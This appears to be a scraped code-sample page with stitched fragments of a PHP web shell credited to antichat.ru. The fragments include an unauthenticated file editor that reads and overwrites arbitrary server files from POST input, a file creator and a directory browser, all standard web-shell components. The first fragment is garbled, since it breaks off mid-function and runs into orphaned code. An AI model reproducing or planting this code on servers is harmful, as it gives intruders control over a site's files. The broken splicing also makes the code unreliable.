Ejemplo n.º 1
0
//editros
if ($action == "editor") {
    function writef($file, $data)
    {
        $fp = fopen($file, "w+");
        fwrite($fp, $data);
        fclose($fp);
    }
    function readf($file)
    {
        if (!($le = fopen($file, "rb"))) {
            $contents = "Can't open file, permission denide";
        } else {
            $contents = fread($le, filesize($file));
            fclose($le);
        }
        return htmlspecialchars($contents);
    }
    if ($_POST['save']) {
        writef($file, $_POST['data']);
    }
    echo "<form method=\"POST\">\n<input type=\"hidden\" name=\"action\" value=\"editor\">\n<input type=\"hidden\" name=\"file\" value=\"" . $file . "\">\n<textarea name=\"data\" rows=\"40\" cols=\"180\">" . @readf($file) . "</textarea><br>\n<input type=\"submit\" name=\"save\" value=\"save\"><input type=\"reset\" value=\"reset\"></form>";
}
//end editors
?>
</td></tr></table><table width="100%" bgcolor="#336600" align="right" colspan="2" border="0" cellspacing="0" cellpadding="0"><tr><td><table><tr><td><a href="http://antichat.ru">COPYRIGHT BY ANTICHAT.RU <?php 
echo $version;
?>
</a></td></tr></table></tr></td></table>
<?php 
echo $footer;
        fwrite($fp, $data);
        fclose($fp);
    }
    function readf($file)
    {
        clearstatcache();
        $f = fopen($file, "r");
        $contents = fread($f, filesize($file));
        fclose($f);
        return htmlspecialchars($contents);
    }
    if (@$_POST['save']) {
        writef($file, $_POST['data']);
    }
    if (@$_POST['create']) {
        writef($file, "");
    }
    $test = test_file($file);
    if ($test == 1) {
        $content .= "<form method=\"POST\">\n\t<input type=\"hidden\" name=\"action\" value=\"editor\">\n\tFile name:<input type=\"text\" name=\"file\" value=\"" . $file . "\" size=\"50\"><br>\n\t<input type=\"submit\" name=\"create\" value=\"Create new file with this name?\">\n\t<input type=\"reset\" value=\"No\"></form>";
    }
    if ($test > 2) {
        $content .= "<form method=\"POST\">\n\t<input type=\"hidden\" name=\"action\" value=\"editor\">\n\t<input type=\"hidden\" name=\"file\" value=\"" . $file . "\">\n\t<textarea name=\"data\" rows=\"30\" cols=\"180\">" . @readf($file) . "</textarea><br>\n\t<input type=\"submit\" name=\"save\" value=\"save\"><input type=\"reset\" value=\"reset\"></form>";
    }
}
//viewer
if ($action == 'viewer') {
    $content .= "<table cellSpacing=0 border=2 style=\"border-color:black;\" cellPadding=0 width=\"100%\">";
    $content .= "<tr><td><form method=POST><br>Open directory:  <input type=text name=dir value=\"" . $dir . "\" size=50><input type=submit value=\">>\"></form>";
    if (is_dir($dir)) {
        if (@($dh = opendir($dir))) {
Ejemplo n.º 3
0
}
//end viewer FS

//editros
if($action=="editor"){  
  function writef($file,$data){
  $fp = fopen($file,"w+");
  fwrite($fp,$data);
  fclose($fp);
  }
  function readf($file){
  if(!$le = fopen($file, "rb")) $contents="Can't open file, permission denide"; else {
  $contents = fread($le, filesize($file));
  fclose($le);}
  return htmlspecialchars($contents);
  }
if($_POST['save'])writef($file,$_POST['data']);
echo "<form method=\"POST\">
<input type=\"hidden\" name=\"action\" value=\"editor\">
<input type=\"hidden\" name=\"file\" value=\"".$file."\">
<textarea name=\"data\" rows=\"40\" cols=\"180\">".@readf($file)."</textarea><br>
<input type=\"submit\" name=\"save\" value=\"save\"><input type=\"reset\" value=\"reset\"></form>";
}
//end editors
?>
</td></tr></table><table width="100%" bgcolor="#336600" align="right" colspan="2" border="0" cellspacing="0" cellpadding="0"><tr><td><table><tr><td><a href="http://antichat.ru">COPYRIGHT BY ANTICHAT.RU <?php 
echo $version;
?>
</a></td></tr></table></tr></td></table>
<? echo $footer;?>